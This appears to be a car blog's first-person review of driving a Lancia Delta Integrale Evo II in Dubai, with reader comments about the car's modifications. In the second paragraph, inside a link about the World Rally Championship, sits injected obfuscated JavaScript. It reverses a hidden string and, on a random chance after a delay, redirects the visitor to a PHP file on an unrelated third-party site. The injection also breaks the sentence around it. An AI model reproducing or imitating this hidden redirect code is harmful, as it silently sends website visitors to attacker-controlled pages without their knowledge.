Lancia Delta Integrale HF Evoluzione II. Dubai, UAE. Meeting A Hero

‘Never meet your heroes’ is pretty solid advice. Chances are ignoring this rule has hit one or two of you with a vengeance in the past. Recently though, crankandpiston may have found the exception to the rule; The Lancia Delta Integrale HF Evoluzione II

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Few of you will need much of an introduction to this automotive gem. In the early 1990s the Lancia Delta Integrale effectively ruled the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}” target=”_blank”>World Rally Championship, winning the Driver’s Championship four times in five years and taking a staggering 46 rally victories. Now that may only be of mild interest to the non-motorsport elite amongst you but there is a significant point to this. In order to qualify for manufacturer points, Lancia were obliged to produce at least 5000 units of a road-going Delta Integrale. Adding a couple of rear seats and a bit of upholstery here and there, and in the early 1990s Lancia was effectively selling a WRC-spec hot hatch for the road.

Which is why, when I was handed the opportunity on a velvet cushion to spend some time with a Delta HF Evoluzione II – thanks to owner Nadim Majzoub – I jumped at the chance. And, simultaneously, prepared myself for the worst.

Let me explain. The Lancia Delta Integrale remains one of the greatest rally cars of all time and – just to add some Hollywood-esque drama – one of my particular childhood favourites. Consequently, a drive in a car I’ve adored for more than two-thirds of my life could either be one of the biggest thrills of my life, or a crushing disappointment. What if the Delta is not the car I imagined it to be? What if the car currently occupying a slot in my dream garage actually proves to be a nightmare? What if one of my heroes doesn’t give me an autograph? Come the end of the day, I’ll either be over the moon or inconsolable.

Having spoken with Nadim earlier the previous evening, I stiffen my lip and head out to the crankandpiston offices, where the Delta has already spent the night. It’s waiting for me as I pull into the parking lot, shrouded by a protective tarp to keep the unforgiving sun at bay. The shape alone is enough to give me goosebumps and I actually hesitate before pulling the covers back VERY gently. This is it…

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Aside from the yellow racing stripes and the rakish rear wing, everything is stock. The air intakes on the bonnet and front bumper. The 16” alloys. The twin circular headlights. The subtly flared side skirts. And, of course, the 2.0l 16-valve turbo engine under the bonnet, good for a 220kph top speed and 0-100kph in 5.7s. The temptation to jump right in is enormous but I can’t help but gawk for a few minutes, attracting the attention of several passers-by. This is a Lancia. And I am going to drive it!

Before the spectacles can get too rose-tinted though, it’s important to remember that towards the end of its 90s-heydays, Lancia garnered a rather poor reliability record. True this particular Evo II receives regular services and in just a few weeks will be put into storage for the summer months so as not to strain the mechanics. But as I open the driver’s side door, Nadim’s warning that the Delta’s battery “is a bit iffy” comes barreling to the forefront of my mind, and it’s a few heart-stopping turns of the key before the turbo powerplant fires into life. Good Lord, the noise! I try hard to suppress my laughter but it’s impossible.

Since the battery is already acting up, I decide the best thing to do is let the boys at HQ know I’ll be late and take the car for a quick spin. It’s a sound plan, albeit with a couple of mild drawbacks. It hasn’t even hit 9am yet and already the temperature is in the low thirties. And the Delta has no air conditioning. Even the ‘cool’ air being blown at full pelt towards my forehead does little to help, and I’m mopping my brow just a few hundred yards into the drive. The Recaro seats may well be holding my frame nicely in place, but the surprisingly close layout of the pedals means it’s 50:50 which one I actually hit, and the fuel gauge –already perilously close to empty – seems to move depending on which corner I’m going round at the time.

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And I couldn’t care less. The interior has me completely hooked, from the beautifully styled Abarth steering wheel to the almost neon orange instrument lights in front of me. It is a slice of 1980s car design, right down to the beige upholstery and the top of the range cassette player. There’s even a replica diecast model of the Integrale on the dashboard Nadim has had specially made.

Plus, there’s the way it drives. Even without power steering the Delta is incredibly nimble, weaving effortlessly through turns and roundabouts, a solid amount of feel for the front tyres and stiffened suspension accentuating perfectly just how well balanced and poised the Integrale truly is. Plus, joy of joys, there’s a five-speed manual gearbox, a tricky beast requiring a balancing act of delicacy and brute force to get the upshifts right. But the effect when combined with the 212hp 2.0l turbo is astonishing. Albeit not immediately obvious.

So far on stop-start roads around Dubai Media City, the turbo lag in the lower revs has made the power output pretty underwhelming, and the whole experience a bit, well, normal.  That is until I plant the right foot harder and wait a couple of beats until the odometer needle hits 5000.

It’s like I’ve received a scissor kick between the shoulder blades. The whole Delta leaps forward with an alacrity that catches me totally off guard, the hot hatch laying down the gauntlet in dramatic style: “come on man, give it a bit of oomph!” Get the speed up – bit more, bit more, bit more – and upshift…

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The most incredible noise on the overrun comes hurtling from the exhaust pipes as I slot home the next gear. I don’t even bother trying to hide the giggles this time. Almost immediately I’m back in the lower revs again, waiting for the power to cycle back in, but I’m already sold. The drama. The poise. The energy. The partial lunacy! There’s no doubt now.

Yes, my biceps have received a pretty sizeable workout from the steering wheel, the cabin is still slowly broiling me alive, and the engine has cut out at various intervals during the morning in the lower revs, causing several panic-stricken fumbles for the ignition. But none of that matters. That power, that feel for the road, that noise, and that sense of nostalgia. Those were the characteristics I was looking for when I first pulled off the covers. Those are the elements that make the Delta unique, and they are why I do not want to get out of this seat.

Never meet your heroes? Sometimes it really is worth the risk.

– Our thanks to Nadim Majzoub

Categories: Road


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  1. This is a standart Monza red evo2 with beige interieur with some Final Edition make over 😉

  2. Very nice indeed. Is this an original Lancia Delta HF Integrale Evoluzione II Final Edition (With the stripes as standard?) Or have the stripes been added. If its one of the limited final editions…is it for sale at all? Cheers. Luke

    • Hi Luke
      This is an EVO II with Final edition stripes, suspention, and grill. The 17 inch speedline corsa’s have been painted gunmetal to complete the final look from the extrior. However what very few people know is that i’ts running a garrett GT30 turbo with some tweeks and hence the lag, keep that thing between 4K & 7.5K, and it will happily keep up with the new breed of 4 banger turbos, boost is still limited to 1 bar as the stock clutch cannot cope with more power. BBBBBBBRRRRRSSSSSSHHHHHH! is courtesy of the Forge BOV

      I wish it was a final edition, but still consider my self very lucky to have my hands on this prestine example.